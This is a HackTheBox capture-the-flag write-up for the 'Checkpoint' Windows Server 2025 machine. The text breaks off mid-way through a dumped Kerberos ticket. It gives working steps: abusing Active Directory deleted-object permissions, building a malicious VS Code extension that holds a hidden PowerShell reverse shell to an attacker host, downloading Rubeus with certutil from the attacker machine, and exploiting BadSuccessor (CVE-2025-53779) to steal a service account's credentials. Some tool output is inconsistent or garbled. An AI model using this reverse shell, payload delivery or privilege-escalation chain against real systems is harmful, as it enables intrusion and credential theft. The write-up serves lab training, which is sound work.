

Checkpoint HTB

HackTheBox — Checkpoint Writeup

Target IP: 10.129.17.33

Domain: checkpoint.htb

OS: Windows Server 2025 (Build 26100)

Initial Foothold Credentials: alex.turner / Checkpoint2024!

Difficulty: Medium / Hard

Executive Summary

The compromise of **Checkpoint** involves exploiting specific administrative delegations and a modern Windows Server 2025 Active Directory flaw. The attack chain begins with initial network reconnaissance to map active directory infrastructure. Using a set of compromised user credentials, we discover special permissions allowing us to restore a deleted Active Directory object (**Mark Davies**). Exploiting a password reuse vulnerability on this restored object grants write privileges to an internal network share (`DevDrop`). By crafting a malicious VS Code extension (`.vsix`), code execution is triggered under the context of **ryan.brooks**.

Privileges are escalated by leveraging **BadSuccessor (CVE-2025-53779)**, a flaw in Windows Server 2025 Delegated Managed Service Accounts (dMSAs), to dump the NTLM hash of a high-privilege service account (`svc_deploy`). This access reveals a virtual memory dump inside a backup share, which is parsed with **Volatility 3** to extract the Domain Administrator's hash, leading to total domain control.

Step 1: Reconnaissance and Infrastructure Enumeration

1. Active Services Discovery

We begin by running an aggressive `nmap` scan targeting all standard Active Directory, remote administration, and transport ports to understand the surface area of the domain controller.

```
nmap -Pn -sC -sV -p- <ip-address>
```

The scan confirms the presence of standard Domain Controller architecture:

- **Port 88 (Kerberos) & Port 389/636 (LDAP/LDAPS):** Confirms Active Directory environment (`checkpoint.htb`).
- **Port 445 (SMB):** File sharing interface available.

- **Port 5985/5986 (WinRM):** Remote management endpoints active.

```
[*]$ nmap -oN init.map -p- --min-rate 5000 10.129.17.33 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-18 17:36 EDT
Nmap scan report for checkpoint.htb (10.129.17.33)
Host is up (0.075s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49673/tcp open  unknown
49683/tcp open  unknown
49704/tcp open  unknown
56009/tcp open  unknown
```

2. Active Directory User & Domain Mapping

Armed with our initial low-level credentials (alex.turner / Checkpoint2024!), we use NetExec to gather information about domain security parameters and map out active users.

```
[us-dedivip-1]-[10.10.15.31]-[team2um6pcc@htb-v0areitvxx]-[+]
[*]$ nxc smb 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
SMB 10.129.17.33 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.17.33 445 DC01 [*] checkpoint.htb\alex.turner:Checkpoint2024!
[us-dedivip-1]-[10.10.15.31]-[team2um6pcc@htb-v0areitvxx]-[+]
[*]$
```

```
nxc smb <ip-address> -u 'alex.turner' -p 'Checkpoint2024!' --users
```

This confirms that our credentials are valid ([+] checkpoint.htb\alex.turner:Checkpoint2024!) and lists other prominent users inside the domain context, such as ryan.brooks and max.palmer .

```
Found domain(s):
. CHECKPOINT
. Builtin
[*] Looking up users in domain CHECKPOINT
Found user: Administrator, uid = 500
Found user: Guest, uid = 501
```

```
Found user: krbtgt, uid = 502
Found user: alex.turner, uid = 1101
Found user: ryan.brooks, uid = 1103
Found user: svc_deploy, uid = 1104
Found user: james.harper, uid = 1111
Found user: sarah.mitchell, uid = 1112
Found user: emily.carter, uid = 1113
Found user: david.reynolds, uid = 1114
Found user: jessica.coleman, uid = 1115
Found user: lauren.flores, uid = 1116
Found user: michael.torres, uid = 1117
Found user: kevin.patterson, uid = 1118
Found user: brian.jenkins, uid = 1119
Found user: megan.perry, uid = 1120
Found user: max.palmer, uid = 5101
Administrator (500)/FullName:
Administrator (500)/AdminComment: Built-in account for administering the
computer/domain
Administrator (500)/UserComment:
Administrator (500)/PrimaryGroupId: 513
Administrator (500)/BadPasswordCount: 0
Administrator (500)/LogonCount: 557
Administrator (500)/PasswordLastSet: 2026-05-09 12:16:34.436808
Administrator (500)/PasswordDoesNotExpire: True
Administrator (500)/AccountIsDisabled: False
Administrator (500)/ScriptPath:
Guest (501)/FullName:
Guest (501)/AdminComment: Built-in account for guest access to the
computer/domain
Guest (501)/UserComment:
Guest (501)/PrimaryGroupId: 514
Guest (501)/BadPasswordCount: 0
Guest (501)/LogonCount: 0
Guest (501)/PasswordLastSet: <never>
Guest (501)/PasswordDoesNotExpire: True
Guest (501)/AccountIsDisabled: True
Guest (501)/ScriptPath:
krbtgt (502)/FullName:
krbtgt (502)/AdminComment: Key Distribution Center Service Account
krbtgt (502)/UserComment:
krbtgt (502)/PrimaryGroupId: 513
krbtgt (502)/BadPasswordCount: 0
krbtgt (502)/LogonCount: 0
krbtgt (502)/PasswordLastSet: 2026-05-09 04:41:01.897718
krbtgt (502)/PasswordDoesNotExpire: False
krbtgt (502)/AccountIsDisabled: True
krbtgt (502)/ScriptPath:
alex.turner (1101)/FullName:
alex.turner (1101)/AdminComment:
alex.turner (1101)/UserComment:
```

alex.turner (1101)/PrimaryGroupId: 513
alex.turner (1101)/BadPasswordCount: 0
alex.turner (1101)/LogonCount: 0
alex.turner (1101)/PasswordLastSet: 2026-05-09 05:00:08.398768
alex.turner (1101)/PasswordDoesNotExpire: True
alex.turner (1101)/AccountIsDisabled: False
alex.turner (1101)/ScriptPath:
ryan.brooks (1103)/FullName:
ryan.brooks (1103)/AdminComment:
ryan.brooks (1103)/UserComment:
ryan.brooks (1103)/PrimaryGroupId: 513
ryan.brooks (1103)/BadPasswordCount: 0
ryan.brooks (1103)/LogonCount: 614
ryan.brooks (1103)/PasswordLastSet: 2026-05-10 09:46:18.765923
ryan.brooks (1103)/PasswordDoesNotExpire: True
ryan.brooks (1103)/AccountIsDisabled: False
ryan.brooks (1103)/ScriptPath:
svc_deploy (1104)/FullName:
svc_deploy (1104)/AdminComment: Deployment service account
svc_deploy (1104)/UserComment:
svc_deploy (1104)/PrimaryGroupId: 513
svc_deploy (1104)/BadPasswordCount: 0
svc_deploy (1104)/LogonCount: 0
svc_deploy (1104)/PasswordLastSet: 2026-05-09 05:01:19.573610
svc_deploy (1104)/PasswordDoesNotExpire: True
svc_deploy (1104)/AccountIsDisabled: False
svc_deploy (1104)/ScriptPath:
james.harper (1111)/FullName:
james.harper (1111)/AdminComment:
james.harper (1111)/UserComment:
james.harper (1111)/PrimaryGroupId: 513
james.harper (1111)/BadPasswordCount: 0
james.harper (1111)/LogonCount: 0
james.harper (1111)/PasswordLastSet: 2026-05-09 05:02:53.443209
james.harper (1111)/PasswordDoesNotExpire: True
james.harper (1111)/AccountIsDisabled: False
james.harper (1111)/ScriptPath:
sarah.mitchell (1112)/FullName:
sarah.mitchell (1112)/AdminComment:
sarah.mitchell (1112)/UserComment:
sarah.mitchell (1112)/PrimaryGroupId: 513
sarah.mitchell (1112)/BadPasswordCount: 0
sarah.mitchell (1112)/LogonCount: 0
sarah.mitchell (1112)/PasswordLastSet: 2026-05-09 05:02:58.781725
sarah.mitchell (1112)/PasswordDoesNotExpire: True
sarah.mitchell (1112)/AccountIsDisabled: False
sarah.mitchell (1112)/ScriptPath:
emily.carter (1113)/FullName:
emily.carter (1113)/AdminComment:
emily.carter (1113)/UserComment:

emily.carter (1113)/PrimaryGroupId: 513
emily.carter (1113)/BadPasswordCount: 0
emily.carter (1113)/LogonCount: 0
emily.carter (1113)/PasswordLastSet: 2026-05-09 05:03:05.841066
emily.carter (1113)/PasswordDoesNotExpire: True
emily.carter (1113)/AccountIsDisabled: False
emily.carter (1113)/ScriptPath:
david.reynolds (1114)/FullName:
david.reynolds (1114)/AdminComment:
david.reynolds (1114)/UserComment:
david.reynolds (1114)/PrimaryGroupId: 513
david.reynolds (1114)/BadPasswordCount: 0
david.reynolds (1114)/LogonCount: 0
david.reynolds (1114)/PasswordLastSet: 2026-05-09 05:03:11.073781
david.reynolds (1114)/PasswordDoesNotExpire: True
david.reynolds (1114)/AccountIsDisabled: False
david.reynolds (1114)/ScriptPath:
jessica.coleman (1115)/FullName:
jessica.coleman (1115)/AdminComment:
jessica.coleman (1115)/UserComment:
jessica.coleman (1115)/PrimaryGroupId: 513
jessica.coleman (1115)/BadPasswordCount: 0
jessica.coleman (1115)/LogonCount: 0
jessica.coleman (1115)/PasswordLastSet: 2026-05-09 05:03:15.751989
jessica.coleman (1115)/PasswordDoesNotExpire: True
jessica.coleman (1115)/AccountIsDisabled: False
jessica.coleman (1115)/ScriptPath:
lauren.flores (1116)/FullName:
lauren.flores (1116)/AdminComment:
lauren.flores (1116)/UserComment:
lauren.flores (1116)/PrimaryGroupId: 513
lauren.flores (1116)/BadPasswordCount: 0
lauren.flores (1116)/LogonCount: 0
lauren.flores (1116)/PasswordLastSet: 2026-05-09 05:03:21.005320
lauren.flores (1116)/PasswordDoesNotExpire: True
lauren.flores (1116)/AccountIsDisabled: False
lauren.flores (1116)/ScriptPath:
michael.torres (1117)/FullName:
michael.torres (1117)/AdminComment:
michael.torres (1117)/UserComment:
michael.torres (1117)/PrimaryGroupId: 513
michael.torres (1117)/BadPasswordCount: 0
michael.torres (1117)/LogonCount: 0
michael.torres (1117)/PasswordLastSet: 2026-05-09 05:03:28.480673
michael.torres (1117)/PasswordDoesNotExpire: True
michael.torres (1117)/AccountIsDisabled: False
michael.torres (1117)/ScriptPath:
kevin.patterson (1118)/FullName:
kevin.patterson (1118)/AdminComment:
kevin.patterson (1118)/UserComment:

```
kevin.patterson (1118)/PrimaryGroupId: 513
kevin.patterson (1118)/BadPasswordCount: 0
kevin.patterson (1118)/LogonCount: 0
kevin.patterson (1118)/PasswordLastSet: 2026-05-09 05:03:33.330269
kevin.patterson (1118)/PasswordDoesNotExpire: True
kevin.patterson (1118)/AccountIsDisabled: False
kevin.patterson (1118)/ScriptPath:
brian.jenkins (1119)/FullName:
brian.jenkins (1119)/AdminComment:
brian.jenkins (1119)/UserComment:
brian.jenkins (1119)/PrimaryGroupId: 513
brian.jenkins (1119)/BadPasswordCount: 0
brian.jenkins (1119)/LogonCount: 0
brian.jenkins (1119)/PasswordLastSet: 2026-05-09 05:03:37.892146
brian.jenkins (1119)/PasswordDoesNotExpire: True
brian.jenkins (1119)/AccountIsDisabled: False
brian.jenkins (1119)/ScriptPath:
megan.perry (1120)/FullName:
megan.perry (1120)/AdminComment:
megan.perry (1120)/UserComment:
megan.perry (1120)/PrimaryGroupId: 513
megan.perry (1120)/BadPasswordCount: 0
megan.perry (1120)/LogonCount: 0
megan.perry (1120)/PasswordLastSet: 2026-05-09 05:03:42.615783
megan.perry (1120)/PasswordDoesNotExpire: True
megan.perry (1120)/AccountIsDisabled: False
megan.perry (1120)/ScriptPath:
max.palmer (5101)/FullName:
max.palmer (5101)/AdminComment:
max.palmer (5101)/UserComment:
max.palmer (5101)/PrimaryGroupId: 513
max.palmer (5101)/BadPasswordCount: 0
max.palmer (5101)/LogonCount: 269
max.palmer (5101)/PasswordLastSet: 2026-05-25 21:25:15.466235
max.palmer (5101)/PasswordDoesNotExpire: True
max.palmer (5101)/AccountIsDisabled: False
```

3. SMB Share Enumeration

Next, we map the accessible network shares to pinpoint potential targets for configuration files or custom deployments:

```
nxc smb 10.129.17.33 -u 'alex.turner' -p 'Checkpoint2024!' --shares
```

The output reveals two interesting non-standard infrastructure shares alongside standard defaults (SYSVOL , NETLOGON):

- DevDrop** : The remark explicitly details this as a repository hosting approved `.vsix` packages compatible with VS Code engine version 1.118.0.

- VMBackups** : A repository intended for infrastructure snapshot files.

```
[*] $ nxc smb 10.129.17.33 -u alex.turner -p Checkpoint2024! --shares
```

SMB	IP	Port	Path	Share Name	Permissions	Remark
SMB	10.129.17.33	445	DC01	[*]	Windows 11 / Server 2025 Build 26190 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)	
SMB	10.129.17.33	445	DC01	[+]	checkpoint.htb\alex.turner:Checkpoint2024!	
SMB	10.129.17.33	445	DC01	[*]	Enumerated shares	
SMB	10.129.17.33	445	DC01	Share	Permissions	Remark
SMB	10.129.17.33	445	DC01	----	-----	-----
SMB	10.129.17.33	445	DC01	ADMIN\$		Remote Admin
SMB	10.129.17.33	445	DC01	C\$		Default share
SMB	10.129.17.33	445	DC01	DevDrop	READ	VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB	10.129.17.33	445	DC01	IPC\$	READ	Remote IPC
SMB	10.129.17.33	445	DC01	NETLOGON	READ	Logon server share
SMB	10.129.17.33	445	DC01	SYSVOL	READ	Logon server share
SMB	10.129.17.33	445	DC01	VMBackups		

Step 2: AD Object Restoration & Pivot

Deep Active Directory Access Control List (ACL) tracking reveals that our low-privilege account, `alex.turner`, has explicit write permissions over the Active Directory Deleted Objects container.

```
[us-dedivip-1]-[10.10.15.31]-[team2um6pcc@htb-v0areitvxx]-[~]  
[*]$ bloodyAD --host 10.129.17.33 --dns 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable  
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb  
DACL: WRITE  
  
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb  
permission: WRITE  
  
distinguishedName: OU=Employees,DC=checkpoint,DC=htb  
permission: CREATE_CHILD  
  
distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb  
permission: WRITE  
  
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb  
permission: WRITE  
  
distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb  
permission: CREATE_CHILD  
  
distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb  
permission: CREATE_CHILD
```

1. Restore Mark Davies' Account:

Using `bloodyAD`, we restore the deleted object of an enterprise engineer, Mark Davies, back into the production hierarchy:

```
bloodyAD --host 10.129.17.33 -d checkpoint.htb -u alex.turner -p  
'Checkpoint2024!' set restore mark.davies
```

```
[*]$ bloodyAD --host 10.129.17.33 --dns 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore mark.davies
[+] mark.davies has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
```

2. Verify Password Reuse:

We test Mark's account against the domain utilizing password reuse validation:

```
[*] $ bloodyAD -h host 10.129.17.33 --dns 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore mark.davies
[+] mark.davies has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
```

```
nxc smb 10.129.17.33 -u 'Mark.Davies' -p 'HASH' --shares
```

```
[+][us-devdipv-1]:[10.18.15.31]:[team2umpccc@htb-v0areitvvx]-[-]
[+]$ nxc smb 10.129.17.33 -o checkpoint.htb -u mark.davies -H 0b28e49d9db96f99d74578e214fac2 --shares
SMB      10.129.17.33    445    DC01    [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1=None)
SMB      10.129.17.33    445    DC01    [*] checkpoint.htb\mark.davies:0b28e49d9db96f99d74578e214fac2
SMB      10.129.17.33    445    DC01    [*] Enumerated shares
SMB      10.129.17.33    445    DC01    Share          Permissions        Remark
SMB      10.129.17.33    445    DC01    -----          -
SMB      10.129.17.33    445    DC01    ADMIN$         Remote Admin
SMB      10.129.17.33    445    DC01    C$             Default share
SMB      10.129.17.33    445    DC01    DevDrop       VS Code extensions share for approved .vsix packages compatible with VS Code
SMB      10.129.17.33    445    DC01    IPC$          Remote IPC
SMB      10.129.17.33    445    DC01    NETLOGON     Logon server share
SMB      10.129.17.33    445    DC01    SYSVOL       Logon server share
SMB      10.129.17.33    445    DC01    VMBackups
```

The authentication successfully ticks green, revealing that Mark Davies possesses explicit **READ/WRITE** access permissions over the `DevDrop` share.

Step 3: Malicious VS Code Extension Foothold

The backend system automates processing for extension drop files inside `DevDrop`. By building a custom VSIX package, we can achieve remote code execution.

1. Create the Extension Layout:

```
mkdir -p evil-ext/extension
cd evil-ext
```

2. Generate the Metadata ([Content_Types].xml):

```
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-
types">
  <Default Extension="vsixmanifest" ContentType="text/xml"/>
  <Default Extension="json" ContentType="application/json"/>
  <Default Extension="js" ContentType="application/javascript"/>
</Types>
```

3. Configure the Activation Trigger (extension/package.json):

```
{
  "name": "devtools-helper",
  "displayName": "DevTools Helper",
  "version": "1.0.0",
  "engines": {"vscode": "^1.118.0"},
  "activationEvents": ["*"],
  "main": "./extension.js",
  "contributes": {}
}
```

4. Write the Payload Node.js Script (extension/extension.js):

The script invokes a hidden PowerShell TCP reverse shell pointing to our attack machine:

```
const cp = require('child_process');
exports.activate = function() {
    cp.exec("powershell -windowstyle hidden -c \"%c=New-Object
System.Net.Sockets.TCPClient('<attacker-ip>',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-
```

```
Object -TypeName System.Text.AsciiEncoding).GetString($b,0,$i);$sb=(iex $d
2>&1 | Out-String);$sb2=$sb+'PS '+($pwd).Path+'> ';$sby=
([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flus
h()};$c.Close()\"");
}
exports.deactivate = function() {}
```

5. Zip and Upload:

```
zip -r evil.vsix '[Content_Types].xml' extension/
smbclient //<ip-address>/DevDrop -U
'checkpoint.htb/Mark.Davies%Checkpoint2024!' -c "put evil.vsix"
```

6. Catching the Shell:

We open a local listener (nc -lvp 4444). Within 60 seconds, the automated backend service executes the package, rendering a reverse shell as checkpoint\ryan.brooks .

```
-----
d-----      5/25/2026    6:44 PM                bin
d-----      5/25/2026    6:44 PM                f6cfa2ea24
-a-----      5/19/2026   10:32 AM          202610488 Code.exe
-a-----      5/19/2026   10:28 AM          389 Code.VisualElementsManifest.xml
-a-----      5/25/2026    6:44 PM          4217912 unins000.dat
-a-----      5/25/2026    6:42 PM          3494720 unins000.exe
-a-----      5/25/2026    6:44 PM          24367 unins000.msg

PS C:\Program Files\Microsoft VS Code> certutil -urlcache -f http://10.10.15.31:
8080/Rubeus.exe C:\Users\Public\Rubeus.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\Program Files\Microsoft VS Code>
```

Step 4: Escalation via BadSuccessor (CVE-2025-53779)

Ryan Brooks belongs to the `OU=DMSAHolder` organizational unit, granting him special administrative rights over modern Windows Server 2025 Delegated Managed Service Accounts (dMSAs).

```
[*]$ bloodyAD --host 10.129.17.33 --dns 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' add badSuccessor 'svc-dmsa' -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' --ou 'OU=Employees,DC=checkpoint,DC=htb' --prepatch
[*] Creating DMSA svc-dmsa in OU=Employees,DC=checkpoint,DC=htb
[*] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

[*]$ nxc ldap 10.129.17.33 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --query '(sAMAccountName=svc-dmsa)' 'distinguishedName msDS-ManagedAccountPrecededByLink'
LDAP 10.129.17.33 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP 10.129.17.33 389 DC01 [*] checkpoint.htb\alex.turner:Checkpoint2024!
LDAP 10.129.17.33 389 DC01 [*] Response for object: CN=svc-dmsa,OU=Employees,DC=checkpoint,DC=htb
LDAP 10.129.17.33 389 DC01 distinguishedName CN=svc-dmsa,OU=Employees,DC=checkpoint,DC=htb
LDAP 10.129.17.33 389 DC01 msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
[us-dedivip-1]-[10.10.15.31]-[team2um6pcc@htb-v0@reitvxx]-[-]
```

```

[*]$ nxc ldap 10.129.17.33 -u alex.turner -p 'Checkpoint2024!' -M badsuccessor -o TARGET=svc deploy ACTION=complete
LDAP      10.129.17.33    389    DC01    [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP      10.129.17.33    389    DC01    [*] checkpoint.htb\alex.turner:Checkpoint2024!
BADSUCC... 10.129.17.33    389    DC01    [*] Found domain controller with operating system Windows Server 2025: Unknown IP (DC01.checkpoint.htb)
BADSUCC... 10.129.17.33    389    DC01    [*] Found 2 results
BADSUCC... 10.129.17.33    389    DC01    alex.turner (S-1-5-21-3129162710-3498938529-1807524340-1101), OU=Employees,DC=checkpoint,DC=htb
BADSUCC... 10.129.17.33    389    DC01    ryan.brooks (S-1-5-21-3129162710-3498938529-1807524340-1103), OU=DMSAHolder,DC=checkpoint,DC=htb

```

1. Extract Kerberos TGT with Rubeus:

From our incoming shell session, we execute Rubeus's ticket delegation feature to extract a clean Base64 ticket string:

```
C:\Users\Public\Rubeus.exe tgtdeleg /nowrap
```

```

PS C:\Program Files\Microsoft VS Code> C:\Users\Public\Rubeus.exe tgtdeleg /nowrap

          S Y N T A X
          R U B E U S

v2.2.0

[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[*] Kerberos GSS-API initialization success!
[*] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: sXSpWK+d5ZHpb8Vb6cAoDMpFw7Vn7d07m16A46n0Id0g=
[*] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIF1DCBdCgAwIBBpEDAgEwvooTE00CBWbHgTImIIE=KADAgEFPaBdKINIRUNLUE9JTlOuSFRCoIhI=ADAgECRowGBsGa3Jidcd0G=5DSEVDS1BPSU5ULkHuoqCBIQwqgSAoAMCARKhAwIBAkCBHIEggRuhYFhpiTPa8eBPPann+tcYbF0G0bhl3Hf8ER2JhH
NKG9Cj1zXPw7wqWtKhkVezLzF8iW/ofzHfHVf9c0Khvz5cZDzgD/YYiz+H08MKrePCVTF21S08GPKX53jmlRve0whR0zdYtwTX1YE8a0hwm7PMW9S03Bwo11413Lldzt30ArtKGhvtW071ckW7Utc1HB/oUpK1hWM+111LoP8PwDvjPkJaGxt319TeIp+XQ3bRE8j445nz
bJ30aKcAc8Qb69F4W9NE13Zbu1d9uFE5ZTKHtqMjeglUBPUKuiLszf0QhcidEKH4shkMqVqBhiVtw8CMZNMMEWncodfe+PqUeh65DMaf1Nmi7C7DXt/236gx4T1668EuYmacC09rdlHX1QF9KfW8PrtfIEDqfCvBMUc7NPudNRLxpdWe0x6KL0ocrY9MaF7u7VfV8M3Hfckg
jS8444v2STb7CynUz0S1qLSdATMuMh65dJQMDYVa4P9UBTqCrLv8w4Zsj+d22+7FR24fp2gPHtxgZCCvEryqIMAFiLawsZB63sj15p17/79oHHE89TH1AJUIXVWmXB0J9ooULC2NM+TAQnhw0nMeLQY0/7sEkaVSbaa+jsA2KYP01cdtw7EVijJsuuZtxfL2B/nbJB25eLz8
T9EaHAbvdqLQw4I6vi9n2d3QYVGB1vuj3eSqhHqatcg8RSTnu10gphXJf4aCb0qNcLW2CKBxgmVOLIGela0dCLQqTiv+pjjcRmA0wt+UdtddCBZRGqD2gIITQXBNFNP3oCMB9XJ6AZRHcy9qPQzaSeZZtSpr7CnIB8KkNqKfmu0ZL1pv4sh9HLc0G3W79TmUSX5z4COILQW4
gJ0UCG3Pr72kWTMDK11rPEnNEPwjEsY0Fe9UM1RMSWqdb6uH0NMuy6hDVzt9WrlERV96g/SwtKEzyTDHfu0akJRUIcxK9zokmhNCCp/92DUXzhIUppJkq4KndZ1ayykqQU1qwmMpSGi0e3Rm+ND+icCSRxxBNdw6rT7KFI/zM2ZKw3yVf0Au4T4F17EHnpsTKUISiWq61bc
Lx3YJfgvinflGyih3hwrZzgDP9lckcfau0PRBwLN2X4+Ru4ZdfiUNMxegDntDV/k30e5x5rCRZ3Fm013PmNaXtZZ-JIrlBYndeBpsSc0KIBJGPEFNMNrS4cj57euWGGegj0JVL5ZcPx3EskhvJ6XeSbq7EjG0ST1h1SLnhkYf0na3GccRbxbwmujDjrzb1T610jJ51LXNb
kopa/ccc7W0YDCU1abV9Pjmx08U61ddYDZ734qLNX7m1Tny0ZB+jceGerohfgeynkfV8hnrUaVp05pap5UKMRXPKtaUn76UaXDF6r1zJmNpKXB/Ru1R1APoJnR8snq8P7W2bq04RyP1ma4EheFd/DmLohFePyGn1hz3nxGz2FU+ejJtA/c4oFKRg9aaRm0nYR0x+
U50eK08Cn/211UyVfDjXcu0953R73ae4HwHtHs0AKAC0C1ge0EgeF9gd4wgduggdugdwKqK2ApoAKCARKhI90qImz+0taqgA4FH9s+Avu1d/cpHGoV3p9cxr7uqHVRu6C0hE8S00hFQ01OT01OVCS1VEK1G0A0oAMCAQghdzANgwtyeFuLmJyb29rc0MMAuYAYKEAAKUR
GABYMD12MDYxOTA1NTHxvLqmErgPjAYNjA2MTkxITUzHTZapxYDZ1wJYwHj12MDU1HZE2Wqg0G65DSEVDS1BPSU5ULkHuoqCBIQwqgSAoAMCARKhAwIBAkCBHIEggRuhYFhpiTPa8eBPPann+tcYbF0G0bhl3Hf8ER2JhH

```

2. Convert the Ticket to Ccache:

On our local Linux attack machine, we decode the string and convert it into a valid Kerberos Cache file

```
...
```

```

echo "doIF..." | base64 -d > ryan.kirbi
impacket-ticketConverter ryan.kirbi ryan.ccache
export KRB5CCNAME=ryan.ccache
...
```

3. Execute BadSuccessor:

Using the Kerberos cache configuration, we leverage **bloodyAD** to exploit **CVE-2025-53779**, extracting the credential secrets for the target deployment service account:

```

bloodyAD --host dc01.checkpoint.htb --dc-ip 10.129.17.33 -d
checkpoint.htb -u ryan.brooks -k ccache=ryan.ccache add badSuccessor
svc-dmsa -t 'CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB' --ou
'OU=DMSAHolder,DC=checkpoint,DC=htb'

```

This successfully extracts the NT Hash for `svc_deploy`

```
[*] [x]s bloodyAb --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k ccache=ryan.ccache add badsuccessor evil-dmsa -t 'CN=svc_deploy,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB' --ou 'OU=DMSAHolder,DC=checkpoint,DC=HTB'

[+] Creating DMSA evil-dmsa in OU=DMSAHolder,DC=checkpoint,DC=HTB
[+] Impersonating: CN=svc_deploy,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB

realm      : CHECKPOINT.HTB
sname      : krbtgt/CHECKPOINT.HTB
username   : evil-dmsa$
userRealm  : checkpoint.htb
startTime  : 2026-06-19 05:57:46+00:00
endTime    : 2026-06-19 15:53:16+00:00
renewTill  : 2026-06-26 05:53:16+00:00
flags      : pre-authent, renewable, forwardable, enc-pa-rep, forwarded
keytype    : 18
key        : H01KUJN0WKN1QWLR5Cvc0ed/rdsLeh1v00GR4iYlw=
EncodedKrb1:

doIF4zCBd+qAwIBBaEADAgEWooIEzrCCBthtgTHMIIEwADAgEFoRABQKIRUNLUE93TlQv5FRCoIMTaADAgECorowG8sGa3J1
dGd0G0S0S0S0S1BPSUSULKHUQ0CBIMwggR/oAMCARhAwIBAgQCBHEEggRtLDPL3B0Xz4EJznLOBrA7xTNGGh+frAp52wM0EVo
D0HCJ6d8YfVE0ZyG1eKZwHUS1N2B8kgPw00T19wMbcCdackj1XHU90G10ZDM1185XWz0V0c0wC00wUichCmmhW2KndEw
Wzdmn1mhucvY0BPR73Dgcm4y5CvHwmp0Qa125V80VfdeQmB++70WQR/gfeg07ayM1lRucndC5+CLk3k19anaj4b
35502zc61y5ef01A2FP3x3+HoyKwK0WeHm1E8sh1Sw1k+8uHr1HU89evzTE1M0pekytK1k1LH3927+Psn318k62ex174K
15KbZ66F41/1IXs0GDH1v2xkFMSjH0Kyzy3R5Vmqag0WMEpbCVjnfFz3Vv0EU40s1jrd+0Mmch1ap0JvvhLccD3LshyGoycne7M
NLE4/N100FYU6T0B6+Z2NG7emQ8aL13d1lwY1G/21e0r078UWUj0w4acjHwJugdyPUwX1a03Pogfco18584/sj3p8Llvc8/
18eV113x0q0fTEq0q00Vmj+ve3h0P1Nv44T+q5L108qgU2d6r1v00c1V0R0L1T0urzf77cWxL8KEem7/L13xq4F313ghaX5
Kq331G544KX1Sh5S2GAm+F8NC7BF093G160FULWTS1xv7U0Kq+5z116PPCjFckAXeh77Eqph5736g9w032IKs0G6ZUhg1Fj2q
99h9G9SHg1JNLW00Dn9Hg1JXmyw7Luxm7c/RqPPhovvz0WeopA/Zurbi2ZwF9M11Koy92Tj30BYy1T103wM31CKC14gg1a26g
K/q0h0xw62z0g0pnc145fyv0Amm/H0B01JE+31nyetHes+CKW/Xedfpyr0C0D18f5Fp0p0A02050fhuZ/p58L25n
q20n7By0p0241v/V3SET2a0d+1r0p0BskHy0L/U1JAsB0ga210skZf21/21T0VG/ub1J0x0D38qPfct/Ahah8k1083NepR
